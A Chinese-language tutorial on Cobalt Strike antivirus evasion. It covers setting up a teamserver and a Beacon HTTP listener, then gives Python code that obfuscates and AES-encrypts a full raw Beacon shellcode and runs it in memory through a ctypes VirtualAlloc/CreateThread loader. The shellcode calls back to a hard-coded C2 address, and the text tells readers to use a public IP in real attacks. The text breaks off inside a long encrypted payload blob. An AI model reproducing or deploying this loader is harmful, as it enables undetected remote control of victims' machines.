文章目录
CS免杀与应用开发
以下实验情况在真实场景中请将 192.168.230.147 的ip地址更改为 公网 ip 地址
一、cs4.7与cs4.8版本的不同使用方法
服务器端
首先服务端都是一样的,都是开启 teamserver 然后跟上服务器 ip 地址 然后再跟上 加密密码
./teamserver 192.168.230.147 123456
客户端
4.7版本整个文件夹内容如下
windows 环境下直接运行 ddosi.org.bat 文件即可
linux 环境下运行 start.sh 文件即可
4.8版本客户端目录下内容
4.8版本的 cs 将客户端与服务器端文件内容是分开的
windows 环境下运行vbs文件或者bat文件都可以,只不过vbs文件没有命令行,bat文件伴随的有命令行开启
linux 环境下运行 bat 文件即可
二、进入cs客户端界面之后的操作
1、先创建一个listener
选择payload,这里就暂时先选择 Beacon HTTP 的payload,注意需要将 HTTP Port 端口更改为 cs 服务器端已经添加进安全组的端口号才行,这里就暂时先用 firewall 放行
2、生成shellcode
然后选择保存的目录
将shellcode提取出来进行python代码的编写
三、python编写免杀
1、对shellcode和loader进行加密处理
import binascii,base64,ctypes
from Crypto.Cipher import AES
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xd2\x04\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x45\x4d\x6a\x61\x00\x15\x19\x49\xa2\x02\x3a\x4b\xa6\xd7\x14\x72\x6a\x47\xe8\x21\x50\x50\x60\xa0\x9b\x82\x54\x45\x81\x4c\xf0\x79\x62\x9d\x5a\xfc\x3f\x6e\x62\xaa\x46\xdb\xf4\xe2\x4b\xc0\x2d\x42\xdc\x92\x8d\x98\x93\xb0\x0e\xc0\x19\x79\x1b\xee\x66\x3c\x8f\xdf\x3c\x49\x59\xc2\x97\x73\xa4\xcd\xcf\x5d\x4e\x82\x93\xfc\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x09\x5f\x80\xcd\x58\x97\xf5\x30\xcd\xd4\x1f\x39\x80\xc0\x14\x1c\x5e\x5f\x4a\xf4\xa4\x95\x5c\x39\x5b\xf6\xb3\x6d\x04\x04\xfd\xd1\x05\x65\x29\x62\x25\xbc\x44\x05\xae\x55\x65\x9f\x7c\x03\x93\x31\xc6\x31\xba\x32\x31\xc1\x3a\xd9\xda\x4e\xf0\xc4\xc1\xab\x2f\xa4\x26\xf6\x86\xe5\x8d\x79\xcc\x5e\x0e\x43\xa0\x74\xe8\x40\x15\xfe\xab\xb9\x8b\x43\x29\x47\xbd\x81\xd1\x62\x17\x8f\xca\xb2\xa2\xae\xc9\xfd\x6e\x63\x23\xbf\x18\xf4\xe5\x15\xc3\x44\xb1\x75\x46\x48\xb8\x1c\x49\x23\xa8\xac\xf6\x3f\xcd\x39\xe7\x69\xc9\xc5\x03\xab\xf7\x34\x14\x55\x45\xc7\x46\x3d\x36\x65\x57\x55\xfa\x18\xea\x77\x2a\x34\x68\x13\xd9\x28\xf2\xc3\x70\x0e\x29\x79\x04\x6b\x0c\xbe\x97\xc3\xdb\x51\x34\xf3\x1d\x8f\x04\x99\x3b\x9a\xc4\x6a\xf5\x0e\xde\x3b\xdf\x66\xb2\x14\x0b\x63\x44\xea\x74\x30\xc3\xdd\x29\xe0\xe2\xbe\xc0\xcb\x97\xb1\x20\x50\xa3\xba\x84\x8f\x26\x9e\x3e\x5d\xb2\xe7\x5f\x16\x5b\x0b\x5e\x39\x85\x88\x32\x16\xe7\xc8\xdb\x3a\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x30\x2e\x31\x34\x37\x00\x3a\xde\x68\xb1"
strbuf = binascii.b2a_hex(buf).decode()
strbuf = strbuf[::-1]
# print(strbuf)
#再利用异或操作将字符串型shellcode转变为数字型shellcode并利用标识符将每一个数字分隔开,代表的是每一个字符,方便将字符串变回二进制字节流shellcode
strnumbuf = ''
for c in strbuf:
temp = ord(c) ^ 73
strnumbuf += str(temp) + '_'
strnumbuf = strnumbuf[0:-1]
# print(strnumbuf)
#得到数字型shellcode后,对整个进行base64编码
b64buf = base64.b64encode(strnumbuf.encode())
# print(b64buf)
#再对base64编码后的shellcode进行AES加密,得到最终加密的shellcode
if len(b64buf) % 16:
add = 16 - (len(b64buf) % 16)
else:
add = 0
b64buf += (b'\0' * add)
# print(b64buf)
key = 'todayiswonderful-FEDCBA987654321'.encode() #key 密钥的长度必须是 16 的倍数
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv) # iv 偏移量的长度也必须是 16 的倍数
cipherbuf = cryptos.encrypt(b64buf) # 二进制字节流数据
# print(cipherbuf)
plainloader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''
b64loader = base64.b64encode(plainloader.encode())
# print(b64loader)
#然后再AES加密
if len(b64loader) % 16:
add = 16 - (len(b64loader) % 16)
else:
add = 0
b64loader += (b'\0' * add)
cipherloader = cryptos.encrypt(b64loader)
print(cipherloader)
2、使用加密后的shellcode和loader实现免杀
import binascii,base64,ctypes
from Crypto.Cipher import AES
cipherbuf = b'\xde4\xa9\xcfZ\x161\xc5\xe63\xd4\xbf_\xa1@\x81\xc3\xf2\x08\xd8Hn\xf9\xbd\xfb\x0c\xdf\t\xa1X\xef\xcc\xca\xa3%-!\x02\x1b\x0b\xfe\xd9\x18V]\xa2]O\xa9\xd9\xe4G\x99\xf2\xde!\x8d7\x95\xda\xc33G_KW\x82>3C\xe7\xbfn\x92V\xe0\xd2:\x87w\xd1\xf1\x02Un*\xef\x13\x16i\x0f"\nw \xc0cy\xd7\xa0\xd9\xafV\x05\xb0\xfa\'\xbe@|\x8bk%\xb6\xf9Rl\xf9|A:q\xb9\xa6<\xf3\x900\x17I\xf5:\xb9\xdc\x94_;f\xd2\x92\xd47\xcf\xf9s4Y\x05\xba\xdc\x1c\x8b,g;\xdd\xad\xb8\xf1\xe3\xc8G\xb01\xb6$\xa2\xbfU\x17\x97\xc7\xac\x05\xc9\xa6\xb9\xc6\xa9\xe0\x15\xa0\xbf\x14\xd3y\x04&(K|\x96B\x9a\xe2\xb3@3\xbd\xc4\x03\x95&\xc6\xd4\xed\xdd\xdbL\xdb\xdd\xfaX\x81\x14\xbe\xe7\xa5\xbfr^[\x9fb\x86\x02^\x98\xb0^e\xe9i\xf23\x9b\xf6\xa6\x94\x0eP\xda~\x94E#L,\x86Y\x17\x87\xe5n\x8c\xc3\xebIi\x832q\x82\xa3\xea_\x02\x97\xd3i\xb9\xde\xda"\x06Q\xa8\x8bAq\xd0!\x94n~\'\x8a\xdb\xc6\xf1\xa4\xed\xe7\xd9\xdb\xc1z4#0\xc6\x8dP\xdc\xff\x98\xe3\xb0:n\xf7iw\x1c,\x00\x08u\nZHV&\xbf\x97\xff\xccK\xd3\xe9\xfal\x19\xa5d\x89r\xfd\xc9\x0c#\xf0\xdc8HU-\x7f5\x16<o\xb7CL\xb6\t\x1f\xda:\r\xf9p\xba\'/V\xdef6Z\x8b\xe4\x0b=\xe8\x1e\x02\x8dz\x068Y\xe4\x00r~\x05\xec\xd3\x1b\xb8,\xfe[;\x82\x8c\x10\xee\x84\x9d}r\x0e\x7f\xb6o\xef\x8dn\x1e`\x99\xa3\xac\xfd\x8b\x00\xe01\xb9c\xcc\x95\x8e\xf6v\x84\x05;\x1bqT?\xc3.\xf6\'\xf3;\x93\x04\xeb>B\x91\xaeki\'u\xdd\xf7\xa9\xb8\xe7\nEoVqm\xfe*\x00w\x1e\x95O0Y\xc7" Xf*\xf7\xb1&k\xd4".\xc7p\x83\xe2\xa0x|\\\x915P}\xcb9\x01\xf2\xdd\xc0\xee\xf4\xe8(\xef\xd0\x9c\xf6\x15n\xbc\xf9\xfaQ\xc0A\\(\x9e[\xf5\xa0\xe5\xec\x83\x87\xeaw:\x0f\xe9\xb5\xaf\x97<\xcb\xc3TD\xc4\x81"W\xf3\xa0\xadB\xf1\xab\x17\xae~\xcc\xa1\xbe\xf6H\xf9\xc3G\xb4\x82\xf4\x0e\xbd\xc0J&B\x16\xfe\xf6$x\xbe\xcfx\x8d\x91\x98pI\x8d\x8c\x01\xbd\x8cg\xa0\x95\xa2\xa8\x95\xc8\xfcy\xf3C\x8b]\x98\xbd\xa3\xff\x8e\x05\xd2(\x11z\xd4@Q,\xefVx\x0fO\xecl\xf9Ap)>\x90\xa8#\xd5\x16e\xbb\xb8\rn\xa1\x10\xb0\xd7\xbdx\xa6\x96\xa9RD\xc5=\xc4\xaeN\xc8\xbb\x9e\xa0v\x10\xa4\xab\x17~Wzsi\x83\xbd\xec{\x83\x1e\xe3\x05M&\x03\xa7\xc3+9\xe8zk16]\xde\xae7\x860\xf7\xb8e\\m\xb5/\x82j;p\xe8y\x05\xdb\x0b\x8c\xd3\x80\xdd\x07\xe3\xa9g0\xad\xb0\x9b\xb4\xd8\x84u!\xa1\xb3\xae\x16E\x1a\\\xfap-\xd9\xe5\xbf\xebS\xf2\x96\x82s{s\x9c\x9b;\xd3\xff>z0\xc4)\xfa\xa2r\x8a\xbb\xfa\x1c\x15o\x104\x99\x14\x85\xe8\xde\x06\xe8/\xfc\xd8\xebx\xc6JA?;\xf6\x82L\xd3\x8b\x97W\xa79\xc8\x10\xab\x1f\xdd\xe5Ez\x9b<\x04\xc1\x12\x06\xd5\xd2\\\xd2\xa2\'\tT\x19\xd6\x9d\x1a{\xe8\x1e9\x93\xaf\xc5\x95\x94\x13C\xba\x1d\x95T\xd32o\x15\xa7l\xae4\x1c\\\xa3 \xb4\x18\x8b\xc5W\xcb\xc2W"_\xc7\x0by\x07p.\xc3\xb9\xad8#\xbc\xc4\xf6\xd4\xf8_\xcf/\xb8\x19u\x86\xcf\x93ai<\xf9Z\x80\xa5\x0f\x1c\x83>J\xf9\x01,\xb7\xbe\xa2$\xe3\x91\xf1NR\xd6\xdf\n\xfc\xdc\x81<\xb92\x0b(\xae\x13\xed>v7G\xd8e}w\xe2\xe6R\xcbD\x97-B\x88\xfdEu\xe2f\xc4\x87\xff\x17\xb3\xa3\xb8\xaf\xed\x9b\xdeR7\xec\x1c\xc3\xf6+7mB\xad\xb2\xf4+\x15\x13w\xc8\xfc_*\x0c\x96$B\xef\x8d\xbe\xb5\xfdc\xe1\x1b\x1b\\\xc2T\xd2s\xbe\xdf\x17z\x8a\xabC\xe4\xeb\xe3k^\x02\x15\xd8\xf1\xa8\x0e\x88\xbc\xb7]Oqpt\xa8\xdb\xd0!v\xa5\x1a\xe8\x1cM\x84\xef\xa4\xbe\xe0\xbc\xb0Agj\x8f"\xe2_\xadJ\x86\xdah\xb7\xb33\xefj\xd4\x94J\xc5\x89e\x1b;7\xa1\xe8\x88\xb6\xd9\xb6\xb5\\%\xb1\xef\xab\xf5\xfb\x1a`=\x1f\xbd~\xfbij;OI\xb1\x94\x11xX\x93\xbf\xbf\xd6\x9e\x16bA\xca\xb2h\xdd\xb2\xf2\x05\x84\x84\xe1\xb9\x98\xc8D\x99p\x01\r\x04\x95\xe30\xb8}\x00\x89\xc0#}4\x8a\x1c\xd6\xa3k\xfe(l\xa0\xbc\xc7\x85\x99\xdc\x08h\xc5q\x1a\xbd\xac%\xfdiG\x12\x8f`\x9d\xc67(\xa1v\x97\xfbjlQ\x1c\xe3\x7fU9h\xeb\xa1\res\xc8`\x96\x02\x1b\x08\x81\x1a#\xd1\xa4\xfbNq\xa2\xfd\x92\xb2=\x95\x94iq-0\xbaE\x17\xb3\xc4\x7f\xfa\x90\x165\x92L7\xd3\xe7\xc3\xeb6\xa8\x0c\xde7\x18\xb0%\xfc\xdcG\xb1\xe1[\xe9\x87\xff\xc2\xd2\xeeG\xa3OH\x1e\x8a\xc9\xf2\xe2]>\xaa\xfe6\xd6\xd1\xd8!\xcf\xe5\xf2\xff>\xf5\x80\xab\x98\xfa4\x90\xd0L\x81\x98b\x06\x01\xd3\xb9\xa8\x1f\xd8\xd6\xe8\xc08\x9f\xd2-\x87\x08\x16\xa3z\xab"\xf6\x042\x8f\xf5\xad\x9a\xe6\x85\x97\x97\xa5\xbf\xdeLX\xfc\xb2\xee\x08}\xebg&\xe7\x8ff\x00%\x87\xe3l b\x8e3^\xba<\x8f\xb8\xbd\x13\xde\xf8\x94\xa0\xedb\xf2H\xcb\xe6\x12\x0b\x94\xf4|q\x9a\xba\x9d\xd6x\x17\xe2\xdb\xc0,\x87\x9aI\x82\x8e/\x1ea\xdc\x9e\xb4"3\x9dG\xe1#\x84RR%V\xf9\xaa\x04\xc2\ra\x1c\xacP\x1c\x99^N\xec\xae\x9a\xac\xb7\x9e\xfe\x8b\x04\x85;FaJo\x10v\xa7\xd8\xc5,\xd2\xbe\xf6M5\xb8\xa3\xf2\xea\x1c8[\x90\xec\x15%`\xbb\x88]\xbb7o\xd4\xe7?\xd8\xd08RB~\x03EA\x17\xea\xce\xa7\x91\xc9\x9f\xa7\xfb;\xa2"^\xcb\x90^?jP\xe9\x1c-\xd7\xa4\x8a\x9c\x1b\x11w\'n\xfc\xfeo1\xb2\xad\xf2$E\x14\xc2\xf9\xbd\xcaw\x91`ikC\x8bL\x9e\x93\xb9\xaf\xe1\xc5\xfeL\x1f\x82\xf7[\xdd\xbc\x93\xfa\x88H\x0eq\x99<\x15\xdct\x9dRx\x11g\xf5\xadc\xaau\xdc\xbd\xd2\xac!\xae\x91\x1a\xd2\x17\x83\x84S*H\xce\t\xf7R\xa4_\xd4\x07\xb5\x7f\x8d*\x84\x1b{`\x173\xa8\x1f\x98\x9f\xa6\x02\x94\xd4\xbb\xe4\xc7<\xd5-\x9c\xca\x85A;Dc\x7f\xfc\xee]\x11\xfeG\xbb\xb8b\x0cN\xfe:\xcb#;PH\xb1xj0\x92\x87i\xc0\xb7\xcd\x7f^\xa96\x93\x00\x19\x7f\xb4J\xed\x15Z\xb7\xf9,\xb1\xd2\xcd \x0c\x12h\xd5\x9e\xb4X\xb9\xb6\x81\xa2k\x8bi\xa0\xf1mr\x81\x91-\xd33\xe7n\xd3\xa4\xe5h#\x1a-0e\x9d|\x08\xcb\x9c\x80\x02/WD\x0e\xd21\xc4\x19\xe0\x05\'\x8b\xc2\x97\\\xecu\xda\xaa\xfcy=\xab\xbb\xe2#\x05\x0c\xaa\xe6Yu\xc0\x9bX\x01\x0f\xd4588R@\x85\x03DiB|u\xef\xcbm\x1c\xa6\x9cU\xc3\xb6\xdbrx\xc6\xca\xc98\xa8\x81]\x89\xfa\x99\x04Oa4\x9brXwN\xbe\x8fIY\xc0\x13\xed\xda\x84\x11\x8d\xac\x1bywYL#&\xea\xeah3&L"j\xde\r\xc3`9A\xb4\x85\xe5N\t\x1e\xe5\x92\xe0\x9f\xc3\xac4\xc1\xfb\x821\xec~v9\xcb\xfe\x06p\xfbw:\xa8D\xc9hNAE\x1c\r"\xf7\xb2\x8f\xd4!\xc5r\xdf\xaa\xb4R\xaf\xe6[\x87q\x0f{\xb1\x97cC\x9f\x11\x92\x93\xab\xe4`\xa1\x94\xef\xa0\xf4\x7f\x03\x85\xa1\x06\x7fn<\x13@\xc4\xf9\xdbt\x19g\x9eV\x83\x15\x86\xaf%G-\xc7\xf9M\xa0\xf1\x07\xe5V\x118c\x9dY!\xc0^\xa6VM|p\xcc\x0f ala\xee\xf3\xde\x81\xb1\x8e\xc3\xfa:\xfd\x1f_\x87._\xfd\xfb)\xad\xc6\xcb\x8aT3\xe8\r\x01\x10\xba\xe1\xeb,\xee\n\x9e\xa5\xd79NE\x10\xec\xc2\x01\xe3z\xbe\xb2\x08p\xeb\xeb\xa5\xa2\x06g\x92wz)\x89\x94\xd4`\xe3v\xb5\x88\xb3\xa0\xe3N\x1d\x9f\x82\x11e"V\x7f\xfb\xcfj\x15\xc1\xc1\x8ea|4\x92\xe0+\x19\x96\xc3e\xe9\xdc\xa3\xcd\'\xbd\xc0\xc7\x89\xf3\xe9\x18+Es\xff\xab\xe2\xa5\xff\xbf\x8dr\xa01\xad\xa1\xa4\xf1X\x94\x1d\x96\x7f\x87\xa3EG\xfcU\xff\xe3\xcb\xc5pZ/y-\t\x8b\xb8\xa7\x9a|T\xac\xd4\xc9\xb6\x84\x86b\xf5\xc9M\xb4\xe2b\xfev\xc0\xb4\x0b^P\xacv\x9d\x14\x116\x12v\xb4p\x8c\xa5!\xe0\x14\x9c\xb5j;o\x00r\r$\xef\xdf[|\xf1\xec\xddK\x81J,B}t\xd7\xa5\x99\xf3\xe8\xc5)\xc2Ar\xcb\x04\x14\x1b]3\xd7\xbeG6{\xd7\xf9\x03\xb7\x92\x8b\xb9\x85\xd1D\xa6\n\xc8\xa8\xc8R\xf6#\xa9\xf9Q.\xda\xaf\n\xa8-U\xccw\x96\x9b\x8db\xef\xf5D\x9b;\xf9y<]\xbd\xea~\x91\xd4\xd6\xc5\xca\x99t\xf8@\x04\x88=%\x08\x87\x007\x06\xa4\x89\xa8S\x98\t1\x07\xb4\xd8\xf7j\xf0\x83\xbf\xfd\xf4\xfc&\xad\x95\xf0\x1e\xbc\xc7\x1bm\xff\xa3\xef?\xf2\x11/\xc6S\x07Vo\xb7\x98c\xf6\x81S\x94 \xc79\xdf`\xe8\x16\xe9izw\xe0H\\\xadM\x1e\x04<\x84\xc3\xbb\x8a\xb1\xdf)\xcc\x88\xd4\x05O\xe7\xa2\x98g\x00UJ\xea\xaf\xcf3Y\x8c\x15\xf2U\x17i8\x04\xbe\xddMa&\x9e\xab\xf9=\xf65?\x84U\x82\x1b\xa5\x13\x0f\x8e\xf0\x04+\x99B\xc42\xc2m\xa6:\xc3\x04{\xf6\x90\x9d+\xa6\x8c\xad\x94\xcc\xba\xe5Q\x90\xaf\x90"\xdevt&\x0e\x9a\xe4\x00\x82\xba:zB\xb9\x96\x17\xeam\xa1.9\xff#\xe5\x07\tS\xb2\xf6q\x15iQK\xf4\xe1rcC>\xb5\xd5\x03\xd7]\xcdJ\x8e\x81\x92!\x89\xb8\xb1\xf3\xeb\xc6\xba\xd7\xbd)\xa2TGf\x8c\xefh\xc4\xbd\xb0Ci\x99\xa5\x0c\xdee\x08\x8d\xcd\xff\xdc\xec\xe5b\x8b;\xd8\xb0\xc1\x12\x94oo\x07\x05C\xda\x8a\xe8\x81]\xd1a\xd1\xd1\xcf\xd3\x02\xcb\xed4\x83\xda9\x81z2_5\xe8\xc4+T\xdb\x88}\xfbIh\x8c<\x86\x93\xb0R\xa2!r\x97)"\xd6\xc0\xb4\xfa\xc7i7~<\x88\xdbH\xf5\x7f\x13\x85\x83\n\xfd\r\xcf\x91\xe1Y#\tAb58s\xdb(\xb4\xe1\xd0\xdd\xb0\xc7>\x89\xb3f\xac\xbcd\x99j\x06\xd5\xad\x8b\xc7\x05[#\xbf\xfb\x91[HmCn\xa7De\x81\x90\xf2\xd7\'0KQ=\x0c\xe5L\xa4\x0c7\x0e^\xd4\xf3\x15\x8c\xe4\x1a4\xfd\x00\xe6l\xaa0\x98L\x0b\xdf\x90\xaamg\xb9c\xff\xbe(\n\xad_\xff,/\x1f\xe5\x96\xf0\xc1\xa9\x89\xb1\xdb\xb4\x102\xbf\xaar\xe7\x88t\x0e\xda\r\x90p\xa1\xc1N\xecv\x1b\xe8t^\xf8\x8c\xd0{q\x16\x94\xcen\xd2H\x06\x05!\xaf\x131\x02s\xc9 \xbc\xdb\xcc\x9a$L\xa5\x9f\xade\x90\x8aW3\xb5[.\xc7p\x0fL\xd1\xaf\xe5Y=\xf8\x14\x177\x84\xd0\x87\x02X\xe8\x86\xafL\xe3\xcc<\x02\x14tG\xa6\xcf\x83\x14\xedx\x83\xc9\x80\x05\x87c5\xaa[\x1d\xf6D!\x8e\xf0\xf9\xee;\xdb\xc2\xcf*\xd8\x16=\xcb\xd7\x08B\xf0B\xeb\xe6\xc7\xc8\x12\xbc\x19\xe3\x8a\nR\xcc\xe9\x9a\xa3\xfe\x07\x9fD\x9c%)buK\x99DYu#\xe9?i\xfd\xd1Q\xa6\x01\xa2\x1a\xb9U4\xb8\x12a\xbd\xc7v\xda\x10y\xf7\x16\x80\x19\xa3\xd8\xbe\xf8\xe9g=\xa8g\xbc\x18\x1fD\xf7\xe6\x02JS\x80\xc92\x99\xb25\xa0\xfcp\x92E\xdf\x01\xed\xa1\xce\x1b\xc8a\xd8\x03\x80h\xc1\xd1\xbf\xd7\x9d\x1e\x9d\x92\xe2\x91\x9e$.rC\xec\xec"\xd2\xca\xeb\x97\xd0+4=\xe47\n\xc84\x02\xb4\x8bYC\x0c\xef\xe7\x86\x98\x04c.J\x81<\x17\x9e\xa3v\xca\xeb\xb9\xa9\xa2\x91\xa9\xc7z\xc6\x97B\xa8\x85X\xcc\x19xf\x90\xbb\x03\x9bA\xff\xed@)(\xd1\xe8\xe5q\x1d\x1c\x8fA\xf7\xebe\xacI\xfb}\xd2@\'=\xb4\xecA\t\xc4/\xd3\x1a\x9a{\xda\xa0\xacu\xea#5\xa6Nz\xbf]\x8bRc\x85\x1c\x7f\xe2RHeI\x90a5\xfe\xeb\xb8\xaa[;\xad\xbe\xfc\xf0\xad\xdb\xdc\xc5\t\xd5\xbc\x15Ne-\x19\xce\x8d\xc2\xaa}p\x9aW\xe8\xa3\x86bC\xa3\\q\xa3\xb4\r\x1c\x06D\xf6W\x1a\xad\xa5*Y\xe1\xb4I\xdeV\xcd-\x03>$lX\\;\xd0\xb6\xfb\x9c\xde6\x05\xe8\x82\x87y\xf7\xa3(\x02%z\xad\xee%5iwo\xd4O\xdd!d\xc2\xb7\x82\xb2\xf9\xcf\x86)\xce\xcf \xeca\tK~\x1f\xd2>\xcc\x8d5E\x91\x9d\x95\x97\xd3$\xe6\xa6\xd1\xebS\x8fo\xb2\xc8\xac\xcd)A\xec\xc5\x8bF\xe1\x14\xd1A:(\x83\xa22\x94\xae,\xfc\xcc\xdf\xcb\x8c\xc7\xa9n\xa4\xe5\xe5\xe0\xf6\x95R+\xf31\x90\xf2\xdd\xd7\xab\x84\xe1=\xf1\xc8b)\xae\x1aT\x03\xe9\x95\xe3\xe1I\x03&]\x80)+\xd76\xafs\xde\xd09\x13=\x1d:3E\xfd<%\x82bT\xda\xeb \x8e\xdd\xc1\xa4\xc6Wp\xd7\x19\xb93\x06\xac\xb9\x1a\xf9\x1f|2\xa4]\xba\xf6\x8b\xaaNj\x92\xbb|\xff\x07/\x06\x98NZ\x10\xb1e\xea\xc41\x17\xe7jj\xa9\xfeI(\xc8\x1e\x8d!\xe7\x12\xdb\xb0\x82\xc6\xad\xe8\x17\x95(\xa5z\xd6\xa8\xe0s\x1a\xef\x11\x12\x165c+r\xaf\x0cwL\xac\xd5\x1f\x8e\x1b\xc4l\x10\xfcR\xea\xdb\xc5\x81\xbb\xd9\xb7\xba\x8a\x06n\xa3\x1d\xac\xc8\xc7V\x7fX\xd44hl\xae\x944\x9b\x81\x078R\xdc\x0f\xf7\xa6\xa3\x06[B\x82\xfc\xaf\xe9-X{\x18e\xe3\x82H\xd6>i\xd2\xf4\tZ\rAJ\x07\xc1\xdf\xbd\xa3]\xf5W\x9f\xb6\x01\xd8,\xff\x83NWu\xa7H\x14g\x86K\xe3\x12P\xc5\x7f\xf1\xfc7]\xf8EC\xdb\x8e\xfd\xe8-;"Q\xcf\xaa\x1e%a\x14\x17\xad\x00EP\x1a\xe0o\xb4\xb4\xdb\xd6\xc86\x85\xa7f\xfa%\x1d\x0cft\x1eG\xb3\x7fy\xa7\x7faR\xa1^ \xc7\xbcq0\x99S\xf8\xd4\xdbd\xc3\xae\xa7\x87\xc2\xed\x0eo*&\x17\x9f\x9e6\x92\x0c\xec\x1dn\xc0s\xfd\x82\x9e4\xdd\xcff\x8a\x89!?\xdc~\xb6(j\xdd\xcf\xc7\x8d\x99\xc3\xf8\xb9a\x08\xa0\x10\x08o\xd5\x1f\xa7\x92\x92\x16\x90\xd1\xb4e-F\x84\n\xf2\xf4\r\xbd_\x1ez\x84\x8a\xb1\xb8\x10\xf2\x91#\'\xce\x93\x0eo\xd5\xb8\xc0\xff\xf6\x0e\x86\x1e\xd6\xc0\xbcm\xd2\xfb\x99\xedf\x19\xac\xb3\xdd\xef\x16\xca\x12\xc0\x92\xcbq\xa5\xb8\xa2F\x16\xfc5m\x94HY=6a\xcfN\x90Z\x84\'>2\xe0\x052\x99_p\x08\xf7\x00\xc3U\x9d\xc7\x06!\x1dT\xd7\xd5?\xcd*`\x80D\x05\xd3\xc3=M\x1d\xf1-\xc0\x0c\xd7\xd4\xebt/P\xc1\xc6\xae\xb1-\xc2\xa7\xc0\x04\x9f\xf0u\xf4X\x0b\xd3\xd8\xe9\n\x03\x94\xdd\x00\x82/\x82%GFO=Q\x93\t\xfd\xbd\x16p\xf9\xb93\xe2\xe3#\xe8`Q.\x10\xbdy\x1cf\x16\x9aS\xbb\x88\x0f\xfb\x14\xff\xc0\x0fT\xae\x19C\xe7\xfc\xd6)\xcd\xb7\xd4r\xa8;\xc1\xb4y\x0e^\xf4\x17fO\x16-<\xdad7t\xe0|kC(Gj\x93\xbf\x98E\xeeUB\x1d\x0b\xf0%\xd6/\x86\x14\xfe\xb9\xa6,G2\xc3\xb7z\xdb\x85\xca\xb0\xeb\xd6\x11\xff\xc5d\xd2\xee\x08\x16\x80tS\xa4\xf4\\\x0e\\\x8dcy{7\xa9\xe9\x83\x1c\xe1{\xb9\xc9\xf8\xde\x95\xa5\x04\xa2\xb07\xfd\xf4\x02\x15\xd9\xca\x91@\xb0"\t\xd9z\xf5y\x1c\x16\xec\xb5#\xaf\x03\x17\xaf\xe8\x91\xc4\x08\xf2l\x0fAl{\xe4\xe3\xac\xb1\x9f\xa0gi\xf4<\xce\xe6sjb\xe7\xb0-G[r\x8d:"\xd2\xd0c\xac\x00\xd8\x9d^\x89\xfe\xd8d\xfb\xf2\x8e\xffM\xa5\x9f\xa6(\xc3\x00(MF\n=I\x84U&\xf8\x04.\xa7\x01v\xcf@\xfe7L]\xf4\xba\xf2\x05\xdc\xd78\xb7\